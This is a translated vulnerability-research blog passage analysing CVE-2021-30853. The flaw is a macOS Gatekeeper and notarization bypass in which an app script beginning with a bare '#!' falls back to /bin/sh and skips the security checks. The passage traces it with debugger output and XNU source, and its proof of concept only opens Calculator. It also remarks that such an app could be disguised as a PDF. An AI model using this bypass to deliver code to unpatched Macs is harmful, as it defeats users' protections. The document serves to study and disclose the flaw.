0x00 背景知识
最近,苹果公司在macOS 12 beta 6(以及随后的macOS 11.6)版本中修复了一个“有趣的”漏洞,其编号为CVE-2021-30853:
该漏洞是由Gordon Long(@ethicalhax)发现并提交的;据苹果公司称,利用这个漏洞,“恶意应用程序能绕过Gatekeeper安全机制的检查”。这类漏洞通常对日常的macOS用户影响特别大,因为它们为广告软件和恶意软件作者提供了一种绕过macOS安全机制的手段,……否则这些安全机制会挫败这些恶意软件的感染企图。
正如我们所看到的,这个在修复CVE-2021-30853漏洞的补丁代码中引入的新漏洞,不仅绕过了Gatekeeper机制,而且还绕过了文件隔离机制,以及macOS最近的公证要求。关于macOS安全机制,包括文件隔离、Gatekeeper和公证要求的更多细节,请参见之前的文章(https://objective-see.com/blog/blog_0x64.html)。
……这意味着,只要用户双击了一个看似无害的文件(如我的“简历”),就可能导致macOS系统的整体沦陷:
太吓人了?!
等等,这个漏洞的影响,听起来是不是有种很熟悉的味道?不错!
今年年初,我发表了“All Your Macs Are Belong To Us”,详细介绍了CVE-2021-30657漏洞。这个由Cedric Owens发现的漏洞也允许“恶意应用程序绕过Gatekeeper检查”(我确定,这的确是由于苹果公司的用户模式系统策略守护进程的漏洞所致)。
虽然漏洞CVE-2021-30657和CVE-2021-30853具有几乎相同的影响,并且乍看起来好像密切相关,但详细的分析显示,我们今天讨论的漏洞(CVE-2021-30853),是由于一个完全独立的安全问题(在内核中发现的)所引发的。
现在,让我们进一步深入考察CVE-2021-30657漏洞。具体来说,我们将探讨下列主题:
触发该漏洞的简单PoC的组成部分
在macOS上,系统是如何处理应用程序的启动过程的,特别是与PoC所触发的代码路径相关的部分。
这种代码路径后来是如何破坏苹果公司的系统策略内核扩展中的逻辑的,从而全面绕过了文件隔离、Gatekeeper和公证等安全机制。
0x01 概念验证PoC
利用CVE-2021-30657漏洞的概念证明Poc是一个未签名、未经公证的应用程序。
未签名、未经公证的PoC
当从互联网下载时,正如预期的那样,它将被隔离起来。
% xattr ~/Downloads/PoC.app
com.apple.FinderInfo
com.apple.metadata:kMDItemWhereFroms
com.apple.quarantine
通常情况下,被隔离的软件应该触发文件隔离、Gatekeeper和公证检查……如果该软件没有签名(因此,也不会经过公证),应该被拦截。
一个没有签名的应用程序,通常应该被拦截!
应该注意的是,要触发漏洞利用代码,一般必须诱骗(或胁迫)用户来运行该应用程序。虽然这似乎是一个很高的门槛,但黑客已经一次又一次地证明,macOS用户很容易上钩。
常见的macOS感染手段
……此外,如上面的演示所示的那样,该应用程序可以伪装成无害的PDF,进而通过电子邮件或其他分发渠道进行投递。
正如前面所指出的,文件隔离、Gatekeeper或macOS的公证要求被设计为专门拦截未签名和未公证的应用程序的运行企图,即使是由用户自己启动的,也会被拦截。然而,由于CVE-2021-30657所利用的漏洞,并没有触发这些安全检查,所以,它仍然能够堂而皇之的运行。
仔细观察PoC应用程序,发现其主要的可执行组件似乎是一个脚本,具体如下所示:
% cat ~/Downloads/PoC.app/Contents/MacOS/PoC
#!
open /System/Applications/Calculator.app &
对于“未指定解释器”的应用程序,即使未签名和未公证,仍然是允许执行的
精明的读者可能已经注意到,尽管脚本以熟悉的#!开头(“shebang”),但是并没有指定解释器,如/bin/bash。之后,当启动时,macOS似乎并没有把它当回事,并且仍然执行了脚本。
具体地说,通过进程监视器的输出来看,当脚本启动时,可以首先看到launchd先执行XPCProxy,然后,又执行了/bin/sh,后者又执行/bin/bash来运行PoC(它已进行了相应的转译处理,因为它来自互联网):
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_FORK",
"process" : {
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/sbin/launchd",
"name" : "launchd",
"pid" : 46112
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"xpcproxy",
"application.?.123943909.123943920"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/usr/libexec/xpcproxy",
"name" : "xpcproxy",
"pid" : 46112
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"sh",
"/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/bin/sh",
"name" : "sh",
"pid" : 46112
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"sh",
"/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/bin/bash",
"name" : "bash",
"pid" : 46112
}
}
尽管进程监视器的输出表明,macOS将通过bash执行“未指定解释器的”脚本,但没有指定解释器这一事实最终触发了内核中的一个(相当微妙的)漏洞:该漏洞允许PoC在未经文件隔离、Gatekeeper和公证检查的情况下直接运行!!!
0x02 应用程序的启动过程(用户模式)
当我们的概念证明代码启动时,尽管它来自互联网,并且没有签名和公证,macOS仍然允许它运行!这里的代码不仅未被拦截,而且也没有触发任何警报。为什么文件隔离、Gatekeeper和公证检查都被绕过了?下面,让我们找出答案!
为了揭示该问题的根本原因,让我们从如何在macOS上启动进程(嗯,应用程序)开始入手,重点关注由该PoC触发的代码路径。
在macOS系统上,启动一个应用程序是一个非常复杂的过程。我在2016年ShmooCon的一次演讲中,题为 "Gatekeeper Exposed; Come, See, Conquer",曾对这个主题进行过详细的介绍。
启动应用程序是一个异常复杂的过程
自从这次演讲后,苹果公司进一步扩展了该过程:在其系统策略守护程序syspolicyd和其XProtect(反病毒)代理XprotectService中增加了XPC调用。
作为这个复杂的应用程序启动过程的一部分,系统(应该)确保拦截从互联网上下载的任何应用程序,除非它已经获得了相应的签名和公证。
一个没有签名的应用程序,正常情况下应该被拦截!
……甚至当一个应用程序既被签名又被公证过了,仍应向用户显示一个警告信息,告知他们正在从(不受信任的)互联网上启动可执行内容。
由于我们的PoC可以畅通无阻的运行,说明macOS系统中存在一个安全漏洞……该漏洞应该位于处理应用程序启动的逻辑的某个地方。
不幸的是,由于这一过程不仅非常复杂并且涉及众多的系统组件,因此,要想确定哪个组件(守护进程、框架,甚至内核扩展)与此漏洞有关并不是一项简单的工作。
如上所述,类似的CVE-2021-30657漏洞,其实是由于苹果公司的用户模式系统策略守护程序syspolicyd中的一个安全问题造成的。我发现syspolicyd可能就是造成该漏洞的问题组件,主要是凭借苹果日志子系统输出的消息:
日志消息,来自syspolicyd(用于确定CVE-2021-30657漏洞的位置)
实际上,syspolicyd守护进程主要负责审计启动的应用程序的安全性,拦截它认为不可信的应用程序,并通过XPC调用coreserviceSuiAgent,以提醒用户注意这一事实。
如果不调用syspolicyd(无论出于什么原因),应用程序将不会被审计,因此就能直接运行!
由于与CVE-2021-30657的相似之处,特别是基于脚本的应用程序可以绕过Gatekeeper(等安全机制),所以,我们不妨先检查一下Syspolicyd的日志消息。
通过log命令,我们可以获得syspolicyd的全部日志消息。然后,我运行了触发CVE-2021-30853的概念验证应用程序。
……但是,这次什么都没显示?!
% log stream --level debug --predicate="processImagePath contains[c] 'syspolicyd'"
^C
考虑到syspolicyd应该总是显示一些日志信息,这一点尤其奇怪,因为它在很大程度上是决定一个应用程序是否应该被允许运行的仲裁者。例如,我们至少应该看到这样的信息(就像利用以前的漏洞CVE-2021-30657的PoC那样)。
syspolicyd: [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, /bin/sh
在再三检查log命令(以及流式传输所有的日志信息)之后,似乎只有一种合理的假设:syspolicyd之所以没有显示任何日志信息,是因为它根本就没有被调用,所以根本没有扫描(分析)该PoC应用程序。
当然,这最初只是一个假设……我真的不知道为什么会是这样的情况。然而,如果假设成立,就能解释为什么没有显示日志信息,更重要的是,为什么允许运行不受信任的PoC代码。(请注意,syspolicyd的作用,是审计待启动的应用程序,并拦截它认为不受信任的应用程序……以及,通过XPC调用CoreServicesUIAgent来提醒用户这一事实。如果它没有被调用,应用程序将不会被审计,因此,将直接开绿灯!)。
由于我不知道为什么没有调用syspolicyd(甚至不知道谁负责调用它),因此,我狠下决心,从复杂的应用程序启动逻辑的开始下手,试图弄清楚到底发生了什么。
在macOS系统上,launchd是负责启动(所有)进程的守护进程。虽然苹果公司决定封闭其源代码,但旧版本的源代码,如842.92.1版本,仍然是可用的(例如通过 opensource.apple.com获取)。通过浏览其代码,我们可以发现,它是通过执行/usr/libexec/xpcproxy来处理应用程序(如我们的PoC)的启动过程的。这与我们在启动PoC应用程序时从进程监控器中看到的情况一致。
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_FORK",
"process" : {
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/sbin/launchd",
"name" : "launchd",
"pid" : 46112
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"xpcproxy",
"application.?.123943909.123943920"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/usr/libexec/xpcproxy",
"name" : "xpcproxy",
"pid" : 46112
}
}
然后,xpcproxy进程就会执行PoC,具体如进程监视器中所示:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
...
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"xpcproxy",
"application.?.123943909.123943920"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/usr/libexec/xpcproxy",
"name" : "xpcproxy",
"pid" : 46112
}
}
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"sh",
"/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 46112,
"path" : "/bin/sh",
"name" : "sh",
"pid" : 46112
}
}
让我们来看看xpcproxy到底是如何通过委派继续执行来启动应用程序的。
打开调试器,我们可以在launchd(通过--waitfor命令)启动xpcproxy时,将调试器附加到xpcproxy上:
% lldb
(lldb) process attach --name xpcproxy --waitfor
Process 46291 stopped
* thread #1, name = 'application.?.123943909.123943920', queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
一旦附加成功,我们就在posix_spawnp API上设置一个断点,因为这是xpcproxy调用的API,用于启动我们的PoC应用程序:
% lldb
...
(lldb) b posix_spawnp
Breakpoint 1: where = libsystem_c.dylib`posix_spawnp, address = 0x00007fff20374f00
一旦达到该断点,我们就可以打印出posix_spawnp的参数,以确认我们的PoC.app(已经进行了相应的转译处理)即将生成:
% lldb
...
Process 46291 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff20374f00 libsystem_c.dylib`posix_spawnp
libsystem_c.dylib`posix_spawnp:
-> 0x7fff20374f00 <+0>: pushq %rbp
0x7fff20374f01 <+1>: movq %rsp, %rbp
0x7fff20374f04 <+4>: pushq %r15
0x7fff20374f06 <+6>: pushq %r14
Target 0: (xpcproxy) stopped.
(lldb) x/s $rsi
0x7faea7406009: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
精明的读者可能又要问了:为什么xpcproxy调用的是posix_spawnp而不是更熟悉的posix_spawn?这个问题问得好,因为它与我们正在考察的漏洞直接相关。
posix_spawn/posix_spawnp的手册页解释了它们之间的区别:
如果指定的文件包含斜杠字符,则posix_spawnp()函数与posix_spawn()函数相同;否则,使用file参数来构造路径名,其路径前缀是通过搜索环境变量“path Variable”指定的路径来获得的。
如果我们看一下堆栈跟踪信息(调试器中的bt命令),就会发现是xpcproxy中的代码负责调用posix_spawnp:
10x00000001050d0095 bt dword [r15+0xb4], 0xd
20x00000001050d009e jb loc_1050d00a9
3
40x00000001050d00a0 mov rbx, qword [posix_spawn]
50x00000001050d00a7 jmp loc_1050d00b0
6
7
8loc_1050d00a9:
90x00000001050d00a9 mov rbx, qword [posix_spawnp]
10
11...
120x00000001050d00f6 call rbx ;either posix_spawn or posix_spawnp
有趣的是,xpcproxy将根据某个结构体(在r15寄存器中找到)中偏移量为0xB4处的位值,来决定是调用更熟悉的posix_spawn API,还是调用posix_spawnp API。
让我们检查该偏移(R15+0xB4)处的位值:
% lldb
...
(lldb) reg read $r15
r15 = 0x00007faea7405f50
(lldb) x/t 0x00007faea7405f50+0xb4
0x7faea7406004: 0b0010000000000001
……当0xd处的位被设置(0x1)时,jb指令被执行,因此,0x00000001050d00a9处的指令将被执行,这意味着rbx寄存器被设置为posix_spawnp。
进一步的分析似乎表明,该位被称为“推断程序”标志,其值是由launchd来设置的(并且可以通过launchctl procinfo<pid>来查看)。有趣的是,在macOS 10.*(不受该漏洞的影响)版本的系统上,该标志未设置,因此,也就不会调用posix_spawnp(正如我们后门所看到的,这样就不会触发该漏洞):
% launchctl procinfo <pid of PoC>
10.15:
...
system support = 0
app-like = 0
inferred program = 0
11:
...
system support = 0
inferred program = 1
joins gui session = 0
因此,由于(在macOS 11.*版本的系统)上设置了推断程序标志,所以,将会调用posix_spawnp(而不是posix_spawn)。
由于posix_spawnp的源代码是可用的,所以不难搞清楚其具体功能。
在构造路径名(如手册页所述)之后,它将调用POSIX_SPAWN:
1/*
2 * posix_spawnp
3 *
4 * Description: Create a new process from the process image corresponding to
5 * the supplied 'file' argument and the parent processes path
6 * environment.
7 ...
8 */
9
10 int
11posix_spawnp(pid_t * __restrict pid, const char * __restrict file,
12 const posix_spawn_file_actions_t *file_actions,
13 const posix_spawnattr_t * __restrict attrp,
14 char *const argv[ __restrict], char *const envp[ __restrict])
15{
16 int err = 0;
17 ...
18
19 err = posix_spawn(pid, bp, file_actions, attrp, argv, envp);
通过进一步阅读posix_spawnp函数的源代码,发现它会检查posix_spawn函数所返回的值。有趣的是(与我们今天分析的漏洞紧密相关),如果返回值为ENOEXEC,这意味着应用程序执行失败,它将再次调用posix_spawn。然而,这一次,进程路径被硬编码为_path_bshell(即“/bin/sh”),而原来的路径被移到第二个参数中:
1case ENOEXEC:
2 ...
3
4 memp[0] = "sh";
5 memp[1] = bp;
6 bcopy(argv + 1, memp + 2, cnt * sizeof(char *));
7 err = posix_spawn(pid, _PATH_BSHELL, file_actions, attrp, memp, envp);
8
……也就是说,macOS将(重新)尝试通过shell(“/bin/sh”)执行失败的程序:
POSIX_SPAWNP的错误处理逻辑
通过调试器,我们可以确认基于“未指定解释器的”脚本会导致第一次调用(针对的是posix_spawn函数)失败,从而触发ENOEXEC逻辑。因此,将执行对posix_spawn的第二次调用,这意味着PoC是通过shell(“/bin/sh”)启动的:
% lldb
(lldb) process attach --name xpcproxy --waitfor
...
Executable mode set to "/usr/libexec/xpcproxy"
(lldb) b posix_spawn
Breakpoint 1: where = libsystem_kernel.dylib`posix_spawn, address = 0x00007fff2045f6d1
(lldb) c
Process 47099 resuming
Process 47099 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2045f6d1 libsystem_kernel.dylib`posix_spawn
libsystem_kernel.dylib`posix_spawn:
-> 0x7fff2045f6d1 <+0>: pushq %rbp
(lldb) x/s $rsi
0x7ff619d043b9: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
(lldb) finish
Process 47099 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step out
frame #0: 0x00007fff203750b1 libsystem_c.dylib`posix_spawnp + 433
libsystem_c.dylib`posix_spawnp:
-> 0x7fff203750b1 <+433>: movl %eax, %r12d
(lldb) reg read $rax
rax = 0x0000000000000008
(lldb) c
Process 47099 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff2045f6d1 libsystem_kernel.dylib`posix_spawn
libsystem_kernel.dylib`posix_spawn:
-> 0x7fff2045f6d1 <+0>: pushq %rbp
(lldb) x/s $rsi
0x7fff203e8c26: "/bin/sh"
(lldb) x/4gx $r8
0x7ffeee06e2b0: 0x00007fff203ead50 0x00007ff619d043b9
0x7ffeee06e2c0: 0x0000000000000000 0x00007fff20375178
(lldb) x/s 0x00007fff203ead50
0x7fff203ead50: "sh"
(lldb) x/s 0x00007ff619d043b9
0x7ff619d043b9: "/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
这里的调试输出较多,所以让我们逐一遍历。首先,我们告诉调试器等待并附加到XPCProxy。启动PoC应用程序后,将启动xpcproxy实例,调试器将捕获该实例并停止该实例。
然后,我们在posix_spawn API上设置一个断点。一旦断点命中,我们就输出它即将生成的程序的路径。由于这是posix_spawn的第2个参数,所以可以在RSI寄存器中找到它。不出所料,它就是PoC应用程序的可执行组件PoC.app/contents/macos/PoC(已经过转译处理)的路径。
如果允许完成对posix_spawn的调用(为此,可以使用调试器的finish),我们将看到调用会失败。具体来说,RAX寄存器(保存函数调用的返回值)将被设置为0x8,即映射到enoexec。换句话说,macOS未能执行PoC应用程序。(我们很快就会说明原因,但本质上是因为POC脚本的第一行没有指定解释器)。
触发ENOEXEC错误,导致调用/bin/sh
然后,在调试器输出中,我们看到posix_spawn上的断点再次命中。如果我们检查传递给第二个调用的参数,我们会发现路径被设置为“/bin/sh”,如果我们检查各个参数(由第5个参数,即R8寄存器所指向),我们会发现argv[0]被设置为字符串“sh”,而argv[1]被设置为POC的可执行组件。
所以,这与我们在进程监视器的输出中看到的情况完全一致:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
"event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
"process" : {
"arguments" : [
"sh",
"/private/var/folders/pw/.../AppTranslocation/.../PoC.app/Contents/MacOS/PoC"
],
"ppid" : 1,
"ancestors" : [
1
],
"rpid" : 47099,
"path" : "/bin/sh",
"name" : "sh",
"pid" : 47099
}
}
由于POC程序中未指定解释器的脚本在第一次失败后会直接通过/bin/sh执行,所以它成功了。但代价是什么!?
0x03 应用程序的启动过程(内核模式)
如果我们暂时忘记文件隔离、Gatekeeper和公证检查,每个人都会很高兴。也就是说,macOS能够足够“聪明地”处理这种情况,而执行的是一个没有指定解释器的脚本。所以感觉很棒。
不幸的是,这种逻辑导致了一个微妙的边缘情况:在文件隔离、Gatekeeper和公证检查的上下文中,这是一个巨大的安全问题……因为所有这些检查最终都被绕过了!!!
但是要理解为什么出现这种情况,我们需要跟踪posix_spawn调用进入内核空间,以确切地理解第一次调用失败的原因,更重要的是,这到底意味着什么。
由于macOS内核(XNU)的某些部分仍然是开源的,所以,我们可以非常轻松地跟踪posix_spawn调用进入内核。
最后,我们将调用exec_activate_image函数:
1/*
2 * posix_spawn
3 *
4 * Parameters: uap->pid Pointer to pid return area
5 * uap->fname File name to exec
6 * uap->argp Argument list
7 * uap->envp Environment list
8 *
9 * Returns: 0 Success
10 * EINVAL Invalid argument
11 * ENOTSUP Not supported
12 * ENOEXEC Executable file format error
13 ...
14*/
15
16int
17posix_spawn(proc_t ap, struct posix_spawn_args *uap, int32_t *retval)
18{
19
20 ...
21 /*
22 * Activate the image
23 */
24 error = exec_activate_image(imgp);
25
26 ...
在设置内核调试会话,并在exec_activate_image上设置断点之后,我们可以检查堆栈回溯信息,以确认它是否被内核模式posix_spawn函数调用了:
(lldb) kdp-remote 192.168.86.28
Version: Darwin Kernel Version 20.6.0: Wed Jun 23 00:26:31 PDT 2021; root:xnu-7195.141.2~5/RELEASE_X86_64; UUID=FECBF22B-FBBE-36DE-9664-F12A7DD41D3D; stext=0xffffff801ae10000
...
(lldb) bt
frame #0: 0xffffff800580eefd kernel`exec_activate_image(imgp=0xffffff9341d15800)
at kern_exec.c:2065:11
frame #1: 0xffffff800580d971 kernel`posix_spawn(ap=<unavailable>,
uap=<unavailable>, retval=0xffffff86781aecc0) at kern_exec.c:3937:10
frame #2: 0xffffff800594001e kernel`unix_syscall64(state=0xffffff868751c620)
at systemcalls.c:412:10 [opt]
frame #3: 0xffffff80052331f6 kernel`hndl_unix_scall64 + 22
在kern_exec.c文件中找到的exec_activate_image函数,将遍历一个名为execsw的硬编码的“映像激活器”表。这种“激活器”只是实现各种(受支持的)文件类型(如Mach-O二进制文件和脚本)加载逻辑的函数,代码如下所示:
1/*
2 * Our image activator table; this is the table of the image types we are
3 * capable of loading. We list them in order of preference to ensure the
4 * fastest image load speed.
5 *
6 * XXX hardcoded, for now; should use linker sets
7 */
8struct execsw {
9 int(*const ex_imgact)(struct image_params *);
10 const char *ex_name;
11} const execsw[] = {
12 { exec_mach_imgact, "Mach-o Binary" },
13 { exec_fat_imgact, "Fat Binary" },
14 { exec_shell_imgact, "Interpreter Script" },
15 { NULL, NULL}
16};
17
18
19static int
20exec_activate_image(struct image_params *imgp)
21{
22
23 ...
24
25 for (i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {
26 error = (*execsw[i].ex_imgact)(imgp);
27
28 ...
应该指出的是,激活器将被依次调用,直到有一个激活器“认领”了该映像。这意味着,即使是一个脚本,Mach-O激活器也会被调用(因为它在execsw数组中的索引为0)。
让我们来看看这些激活器函数。首先,我们从第一个exec_mach_imgact开始,它用于处理Mach-O类型的文件;该函数的代码如下所示:
1/*
2 * exec_mach_imgact
3 *
4 * Image activator for mach-o 1.0 binaries.
5 *
6 * Parameters; struct image_params * image parameter block
7 *
8 ...
9 */
10static int
11exec_mach_imgact(struct image_params *imgp)
12{
13 ...
14 struct mach_header *mach_header = (struct mach_header *)imgp->ip_vdata;
15
16 /*
17 * make sure it's a Mach-O 1.0 or Mach-O 2.0 binary; the difference
18 * is a reserved field on the end, so for the most part, we can
19 * treat them as if they were identical. Reverse-endian Mach-O
20 * binaries are recognized but not compatible.
21 */
22 if ((mach_header->magic == MH_CIGAM) ||
23 (mach_header->magic == MH_CIGAM_64)) {
24 error = EBADARCH;
25 goto bad;
26 }
27
28 ...
29}
就本文来说,我们只需注意它(首先)检查要执行的程序是否是mach-O类型的二进制文件。对于我们的PoC(回想一下,它实际上是一个基于脚本的应用程序,而不是mach-O格式的二进制文件),exec_mach_imgact将直接提前退出,因为它正确地确定了PoC的脚本不是mach-O类型的二进制文件。
第二个映像激活器exec_fat_imgact也会出现错误,因为我们的PoC的脚本也不是fat(通用)格式的二进制文件。
最后,我们考察脚本的映像激活器:exec_shell_imgact。在我们考察其代码之前,先来回顾两件事:
- POC的脚本没有指定解释器,而只是以#!开头
- 对posix_spawn的(第一次)调用将会失败,并返回ENOEXEC
好了,现在看一下exec_shell_imgact函数的具体代码:
1/*
2 * exec_shell_imgact
3 *
4 * Image activator for interpreter scripts. If the image begins with
5 * the characters "#!", then it is an interpreter script. Verify the
6 * length of the script line indicating the interpreter is not in
7 * excess of the maximum allowed size. If this is the case, then
8 * break out the arguments, if any, which are separated by white
9 * space, and copy them into the argument save area as if they were
10 * provided on the command line before all other arguments. The line
11 * ends when we encounter a comment character ('#') or newline.
12 *
13 * Parameters; struct image_params * image parameter block
14 *
15 * Returns: -1 not an interpreter (keep looking)
16 * -3 Success: interpreter: relookup
17 * >0 Failure: interpreter: error number
18 *
19 * A return value other than -1 indicates subsequent image activators should
20 * not be given the opportunity to attempt to activate the image.
21 */
22static int
23exec_shell_imgact(struct image_params *imgp)
24
25
26/*
27 * Make sure it's a shell script. If we've already redirected
28 * from an interpreted file once, don't do it again.
29 */
30 if (vdata[0] != '#' ||
31 vdata[1] != '!' ||
32 (imgp->ip_flags & IMGPF_INTERPRET) != 0) {
33 return -1;
34 }
35
36 ...
37 /* Try to find the first non-whitespace character */
38 for (ihp = &vdata[2]; ihp < &vdata[IMG_SHSIZE]; ihp++) {
39 if (IS_EOL(*ihp)) {
40 /* Did not find interpreter, "#!\n" */
41 return ENOEXEC;
42 } else if (IS_WHITESPACE(*ihp)) {
43 /* Whitespace, like "#! /bin/sh\n", keep going. */
44 } else {
45 /* Found start of interpreter */
46 break;
47 }
48 }
49
50 ...
51
52 return -3;
53}
正如注释所指出的那样,该函数是“解释器脚本的映像激活器”,并且“如果映像以字符'#!'开头,那么它就是一个解释器脚本”。其余注释讨论了如何对指定解释器进行验证,并指出,“当我们遇到注释字符(即'#')或换行符时,表示[interpreter]行结束”。
通过查看源代码,我们可以看到情况就是这样的。实际上,它首先检查脚本是否以#!开头;而我们的PoC的脚本就是属于这种情况。到目前为止,一切看起来都是正常的。
然后,它尝试通过解析第一行的其余部分来查找脚本的解释器。首先,对第一行中剩余的每个字符调用IS_EOL宏,其定义为:IS_EOL(ch) ((ch == '#') || (ch == '\n'))
。因此,一个仅以#!(或者!#\n)字符开头的脚本,将导致IS_EOL返回true,并且根据注释来看,这就表示“没有找到解释器”……并且返回ENOEXEC。
现在,我们已经知道了第一次对POC未指定解释器的脚本(以#!开头)调用posix_spawn的失败原因,以及为什么exec_shell_imgact会先返回ENOEXEC,接着返回到用户模式(recorn随后触发了对posix_spawn的第二次调用,并通过/bin/sh直接执行脚本)。
如果没有指定解释器,则返回ENOEXEC错误
如果脚本指定了有效的解释器,结果又如何呢?好吧,如上面所示,exec_shell_imgact函数将返回值-3(如注释所示,这就意味着“success:interpreter:relookup”)。
再次回到exec_activate_image(exec_shell_imgact的调用者)函数中,我们看到所有激活器的返回值都会进行检查,包括-3(表示有效的脚本):
1for (i = 0; error == -1 && execsw[i].ex_imgact != NULL; i++) {
2 error = (*execsw[i].ex_imgact)(imgp);
3
4 switch (error) {
5
6 /* case -1: not claimed: continue */
7
8 case -2:
9 goto encapsulated_binary;
10
11 /* Interpreter */
12 case -3:
这么做是有道理的,因为exec_activate_image函数中的代码想知道映像激活是否成功。例如,exec_shell_imgact是否确定脚本是有效的?……如果是有效的,则加载并激活,以便进程(最终)可以开始执行。
然而(同样假设映像激活成功),在这个(最终)进程开始执行之前,执行其他特定于映像的代码。
例如,对于返回-3(exec_shell_imgact返回的值,表示有效脚本)的情况下,我们发现以下内容:
1 case -3: /* Interpreter */
2 #if CONFIG_MACF
3 /*
4 * Copy the script label for later use. Note that
5 * the label can be different when the script is
6 * actually read by the interpreter.
7 */
8 if (imgp->ip_scriptlabelp) {
9 mac_vnode_label_free(imgp->ip_scriptlabelp);
10 }
11 imgp->ip_scriptlabelp = mac_vnode_label_alloc();
12 if (imgp->ip_scriptlabelp == NULL) {
13 error = ENOMEM;
14 break;
15 }
16 mac_vnode_label_copy(imgp->ip_vp->v_label,
17 imgp->ip_scriptlabelp);
18
19 /*
20 * Take a ref of the script vnode for later use.
21 */
22 if (imgp->ip_scriptvp) {
23 vnode_put(imgp->ip_scriptvp);
24 imgp->ip_scriptvp = NULLVP;
25 }
26 if (vnode_getwithref(imgp->ip_vp) == 0) {
27 imgp->ip_scriptvp = imgp->ip_vp;
28 }
29 #endif
30
31 nameidone(ndp);
32
33 vnode_put(imgp->ip_vp);
34 imgp->ip_vp = NULL; /* already put */
35 imgp->ip_ndp = NULL; /* already nameidone */
36
37 ...
具体地说,在映像的image_params结构体(这里称为imgp)中设置了一些值,例如:
imgp->ip_scriptvp
imgp->ip_scriptlabelp
后者,也就是ip_scriptlabelp,将指向通过调用mac_vnode_label_alloc分配的结构体,然后通过调用mac_vnode_label_copy函数对结构体的值进行填充。
在苹果公司的sys/imgact.h头文件中,我们可以找到每个头文件的简单介绍:
struct image_params {
...
struct label *ip_scriptlabelp; /* label of the script */
struct vnode *ip_scriptvp; /* script */
精明的读者可能已经注意到,设置image_params结构体的这些成员的代码被包装在#if config_macf中。这是值得注意的地方,因为MACF是macOS用来执行许多安全检查的技术!因此,在允许或(同样重要的是)禁止运行(不受信任的)脚本的情况下中,这段代码似乎与我们的问题的关系最为密切。
这样的读者可能还想知道,如果exec_shell_imgact函数失败了,image_params结构体的这些成员会发生什么变化?例如,当它遇到POC中没有指定解释器脚本时。而且,由于设置这些结构体成员的代码从未执行过,所以,它们仍然处于未设置的状态。
在exec_activate_image(和exec_shell_imgact函数)返回后,我们可以通过转储PoC的image_params结构体来确认这一点:
(lldb) expr *(struct image_params*)0xffffff935702b000
(struct image_params) $1 = {
...
ip_vdata = 0xffffffa054104000
"#!\n\nopen /System/Applications/Calculator.app &\n"
...
ip_strings = 0xffffffa054003000
"executable_path="/private/var/folders/pw/.../AppTranslocation/
.../PoC.app/Contents/MacOS/PoC""
...
ip_scriptlabelp = 0x0000000000000000
ip_scriptvp = 0x0000000000000000
}
请注意,在调试器输出中,结构体的ip_vdata成员被设置为脚本的内容,而ip_strings成员则被设置为(转译后的)路径。最重要的是,尽管ip_scriptlabelp和ip_scriptvp的值保持为NULL(即未被设置),但exec_shell_imgact函数仍然会返回ENOEXEC(因为PoC脚本没有指定解释器)。
请注意,对于普通的基于脚本的应用程序(指定了解释器)来说:
-
image_params结构体的ip_startargv成员将使用解释器的路径(例如/bin/bash)进行更新;
-
将设置ip_scriptlabelp和ip_scriptvp成员(即其值为非NULL)。
我们可以通过执行一个普通的、基于脚本的应用程序(其脚本指定了一个解释器),并转储它的image_params结构体来确认这一点:
(lldb) kdp-remote 192.168.86.28
Version: Darwin Kernel Version 20.6.0: Wed Jun 23 00:26:31 PDT 2021; root:xnu-7195.141.2~5/RELEASE_X86_64; UUID=FECBF22B-FBBE-36DE-9664-F12A7DD41D3D; stext=0xffffff801ae10000
...
Target 0: (kernel) stopped.
(lldb) expr *(image_params*)0xffffff934acda800
(image_params) $1 = {
ip_startargv = 0xffffffa04af89020 "/bin/bash"
ip_scriptlabelp = 0xffffff868a69ffc0
ip_scriptvp = 0xffffff867fae3f00
}
当然,现在的问题是,“如何利用这些结构体成员”?通过进一步的分析代码和(内核)调试输出,发现它们被传递给kauth_proc_label_update_execve API,具体如下所示(代码来自kern_exec.c):
1kauth_proc_label_update_execve(p,
2 imgp->ip_vfs_context,
